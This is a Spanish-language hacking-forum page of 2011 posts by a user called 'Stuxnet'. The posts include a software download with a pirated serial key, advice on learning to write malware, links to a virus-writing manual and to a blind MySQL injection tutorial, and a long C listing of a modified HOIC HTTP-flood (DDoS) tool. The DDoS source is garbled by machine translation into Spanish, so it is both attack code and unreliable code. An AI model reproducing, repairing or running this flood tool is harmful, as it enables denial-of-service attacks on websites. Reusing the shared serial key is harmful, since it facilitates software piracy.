Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stuxnet

#301
ASM / Descargar emu8086
Noviembre 21, 2011, 09:57:20 PM

Micro Assembler IDE includes advanced source editor, 8086 assembler and IDE.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Serial

Código: text
User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX
User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX

#302
Dudas y pedidos generales / Re:yo no se nada de malwares
Noviembre 19, 2011, 07:23:45 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si con lo de personalizar uno te refieres a codearlo, deberias aprender a programar...

te aconsejo que empieces con batch, luego python , c++ , VB , Delphi y luego programación web, y etc hay nuchos lenguajes los mas recomendados
#303
Dudas y pedidos generales / Re:yo no se nada de malwares
Noviembre 19, 2011, 04:51:56 PM
saludos amigo tengo este en mi coleccion espero te sirva



La meta de este manual es el aprendizaje de métodos en programación, tanto en teoría como en práctica, de virus informáticos. No obstante, no se ofrece el camino típico; esto es, aprender ensamblador, aprender formatos de ficheros e infectar.

Con alguna experiencia en el tema, creo que lo primero que hay que hacer no es ponerse a programar como un salvaje sin entender qué se está tocando y cómo funciona: se dará pues una visión general acerca de todo aquello que se va a tocar (arquitectura de un computador y sistemas operativos), necesaria antes de empezar a programar nada, y con esto en mente debería de resultar muchísimo más sencillo no ya sólo programar virus, sino desarrollar cualquier otro tipo de aplicaciones que necesiten conocimientos de este estilo.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#304
Cursos, manuales y libros / Blind MySQL Injection
Noviembre 19, 2011, 04:16:23 PM
Blind MySQL Injection
Técnicas de inyección a ciegas en MySQL
Autor: ka0x <ka0x01[at]gmail.com>
Colaboradores:
- Piker <piker0x90[at]gmail.com>
- NullWave07 <nullwave07[at]gmail.com>

Índice:
0x01: Introducción
0x02: Tabla de la DB y archivo vulnerable
0x03: Comprobando si el servidor es vulnerable
0x04: Sacando información
0x05: Sacando número de registros de la tabla "users"
0x06: Buscando los nombres de las columnas
0x07: Leyendo datos de la columna + p0c
0x08: load_file en inyección a ciegas
0x09: La función benchmark


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#305
Seguridad / Re:[Encuesta] Mejor Antivirus
Noviembre 16, 2011, 12:03:21 PM
pues para el avast! saben por que es gratis jejejeje
#306
Códigos Fuentes / [SC] HOIC modificado by CrashOverrider:
Noviembre 03, 2011, 12:44:29 PM
Código: c
/ * HOIC - cañón de iones de alta orbital

     . * Hoic archivos:
     * Líneas de ejemplo válido:
     * # (Comentarios)
     * URL: http://www.example.org:80/foo/bar
     * User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
     * Juego de caracteres: ISO-8859-1
     * Aceptar: text / html
     *
     * Se necesita al menos una de cada una de las líneas anteriores para que funcione.
     * URL siempre debe incluir "http://" y un puerto. No HTTPS, sin embargo, lo siento.
     *
     * Este código se libera en el dominio público.
     *
     * - Anónimo
     * /
     
    # Include
    # Include
    # Include <sys/types.h>
    # Include <sys/socket.h>
    # Include <netinet/in.h>
    # Include <netdb.h>
    # Include <stdarg.h>
    # Include <string.h>
     
    / * Si usted está escribiendo cargas personalizadas, que controlan lo que
       pasa a la conexión después de enviar su petición * /
    # Define CLOSENOW 0
    # Define leer 1
    # Define repetir 2
     
    # Define SOCKET_BUF_SIZE 2048
     
    typedef struct {list_t
            char * datos;
            struct list_t * siguiente;
    List_t};
     
    list_t urls *;
    int numUrls = 0;
    list_t * userAgents;
    int numUserAgents = 0;
    list_t * acceptTypes;
    int numAcceptTypes = 0;
    list_t charsets *;
    int numCharsets = 0;
     
    int socket_printf (int sockfd, const char * fmt, ...)
    {
            int retval = 0;
            va_list ap;
            char * cadena = malloc (SOCKET_BUF_SIZE);
           
            va_start (ap, fmt);
            retval = vsprintf (str, fmt, ap);
            va_end (ap);
     
       escribir (sockfd, str, strlen (str));
            libre (str);
            volver retval;
    }
     
    / * Crear un retraso aleatorio de milisegundos entre inferiores y superiores. * /
    randomDelay vacío (int límite inferior, límite superior int) {
            int r = límite inferior + (rand () / (float) RAND_MAX) * (límite superior - límite inferior);
            usleep (1000 * R);
    }
     
    AddURL vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza urls =;
     
            numUrls + +;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            if (urls == NULL) {
                    urls = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    addUserAgent vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = userAgents;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
           
            numUserAgents + +;
     
            if (userAgents == NULL) {
                    userAgents = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    addAcceptType vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = acceptTypes;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            numAcceptTypes + +;
     
            if (acceptTypes == NULL) {
                    acceptTypes = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    AddCharset vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = juegos de caracteres;
     
            printf ("Juego de caracteres:% s \ n", datos);
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            numCharsets + +;
     
            if (juegos de caracteres == NULL) {
                    charsets = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    char * listGet (list_t * cabeza, int n) {
            if (cabeza == NULL) {
                    fprintf (stderr, "no listGet% (d) \ n", n);
                    exit (1);
            }
     
            if (n == 0) return cabeza-> data;
     
            volver listGet (cabeza-> siguiente, n-1);
    }
     
    char * randomUrl (void) {
            int sel = (rand () / (float) RAND_MAX) numUrls *;
            volver listGet (urls, sel);
    }
     
    randomUserAgent char * (void) {
            int sel = (rand () / (float) RAND_MAX) numUserAgents *;
            volver listGet (userAgents, sel);
    }
     
    char * randomAcceptString (void) {
            int sel = (rand () / (float) RAND_MAX) * numAcceptTypes;
            volver listGet (acceptTypes, sel);
    }
     
    char * randomCharset (void) {
            int sel = (rand () / (float) RAND_MAX) numCharsets *;
            volver listGet (juegos de caracteres, sel);
    }
     
    int randomKeepAlive (void) {
            devolución de 30 + (((rand () / (float) RAND_MAX) * 5) * 15);
    }
     
    / * Generar una solicitud plausible de aspecto HTTP.
     
            Esto va a generar todo lo que antes de la final \ r \ n,
            para permitir que la carga útil () para agregar encabezados.
     
            llamar finish_http_request () después de este
            para generar el resto.
    * /
    send_http_request vacío (int sockfd, char * host, char * uri) {
            socket_printf (sockfd, "GET /% s HTTP/1.1 \ r \ n", uri);
            socket_printf (sockfd, "Host:% s \ r \ n", host);
            socket_printf (sockfd, "User-Agent:% s \ r \ n", randomUserAgent ());
            socket_printf (sockfd, "Aceptar:% s,% s,% s, q = 0,9 ,*/*; q = 0,8 \ r \ n",
                                                    randomAcceptString (),
                                                    randomAcceptString (),
                                                    randomAcceptString ());
            socket_printf (sockfd, "Keep-Alive:% d \ r \ n", randomKeepAlive ());
            socket_printf (sockfd, "Cache-Control: no-cache \ r \ n");
            socket_printf (sockfd, "Accept-Charset:% s,% s,, q = 0,7, *, q = 0,7 \ r \ n",
                                                    randomCharset (), randomCharset ());
    }
     
    finish_http_request vacío (int sockfd) {
            socket_printf (sockfd, "\ r \ n");
    }
     
    / *
            / / CLOSENOW si el socket debe ser cerrado inmediatamente.
            / / Leer leer de nuevo los datos de toma y cierre.
            / / Repetir si debemos mantener la cabeza abierta y hacer otra petición.
    * /
    int carga (int sockfd, anfitrión char *, char * uri) {
            send_http_request (sockfd, host, uri);
            finish_http_request (sockfd);
     
            libre (host);
            libre (URI);
     
            volver CLOSENOW;
    }
     
    int main (int argc, char * argv []) {
            peticiones unsigned int, cargas;
            int sockfd, portno, n, resolver, vuelva a conectar;
            struct sockaddr_in serv_addr;
            struct hostent * servidor;
            carbón buffer [1024];
     
            printf ("GEOSYNCRONOUS ORBITAL cañón de iones (GOIC) \ n".)
     
            if (argc <2) {
                    fprintf (stderr,
                                      "Uso:% s <file.goic> \ n",
                                      argv [0]);
                    exit (1);
            }
     
            FILE * fp = fopen (argv [1], "r");
            caracteres de línea [1024];
     
            if (fp == NULL) {
                    fprintf (stderr, "Error al abrir el archivo '% s' \ n", argv [1]);
                    exit (1);
            }
     
            while (fgets (linea, 1024, fp)! = NULL) {
                    if (linea [0] == '#') siguen;
     
                    línea [strlen (línea) -1] = '\ 0';
     
                    if (0 == strncmp (línea, "URL", 5))
                            AddURL (strdup (línea 5));
     
                    else if (0 == strncmp (línea, "user-agent", 11))
                            addUserAgent (strdup (línea 11));
     
                    else if (0 == strncmp (línea, "Aceptar", 8))
                            addAcceptType (strdup (línea 8));
     
                    else if (0 == strncmp (línea, "Juego de caracteres:", 9))
                            AddCharset (strdup (línea 9));
     
                    else if (linea [0] == '\ r' | | line [0] == '\ n') siguen;
            }
     
            / * La semilla del generador de números aleatorios * /
            srand (time (0));
     
            resolver = 1;
            reconectar = 1;
            peticiones = 0;
            cargas = 0;
     
            while (1) {
                    char * url = randomUrl ();
     
                    anfitrión char [255];
                    caracteres uri [255];
     
                    sscanf (url, "254% http:// [^:]:% 99d /% 254 [^ \ n]", de acogida, y portno, uri);
     
                    if ((% carga útil 100) == 0) {
                            printf ("* Informe sobre la marcha:");
                            printf ("% los intentos de conexión u /% u cargas entregadas. \ n",
                                                    peticiones,
                                                    cargas);
                    }
     
                    if (conectar) {
                            sockfd = socket (AF_INET, SOCK_STREAM, 0);
                            peticiones + +;
                    }
     
                    if (sockfd <0) {
                            fprintf (stderr, ". Error al crear el socket Vamos a esperar e intentarlo de nuevo \ n".)
                            randomDelay (5000,20000);
                            reconectar = 1;
                            continuar;
                    }
     
                    if (resolver) {
                            printf ("host Resolución:% s \ n", host);
     
                            servidor = gethostbyname (host);
     
                            if (servidor == NULL) {
                                    fprintf (stderr, "Error: No se ha podido resolver el host:% s \ n", host);
                                    randomDelay (500,5000);
                                    continuar;
                            }
                   
                            bzero ((char *) & serv_addr, sizeof (serv_addr));
                            serv_addr.sin_family = AF_INET;
                            bcopy ((char *) en el servidor> h_addr,
                                            (Char *) y serv_addr.sin_addr.s_addr,
                                            servidor> h_length);
                   
                            serv_addr.sin_port = htons (portno);
     
                            resolver = 0;
                    }
     
                    if (y volver a conectar y conectar (sockfd, y serv_addr, sizeof (serv_addr)) <0) {
                            resolver = 1;
                            reconectar = 1;
                            fprintf (stderr,
                            "Host parece estar rechazando las conexiones victoria está a la mano 1111one \ n!");
                            randomDelay (50,1000);
                            continuar;
                    }
     
                    n = carga útil (sockfd, strdup (host), strdup (URI));
                    cargas + +;
                   
                    if (n == CLOSENOW) {
                            cierre (sockfd);
                            reconectar = 1;
                    } Else if (n == LEER) {
                            leer (sockfd, buffer, 1024);
                            randomDelay (50,1000);
                            cierre (sockfd);
                            reconectar = 1;
                    Else {}
                            if (leer (sockfd, buffer, 1024)) {
                                    reconectar = 0;
                                    resolver = 0;
                            Else {}
                                    reconectar = 1;
                                    resolver = 1;
                            }
                    }
            }
     
            return 0;
    }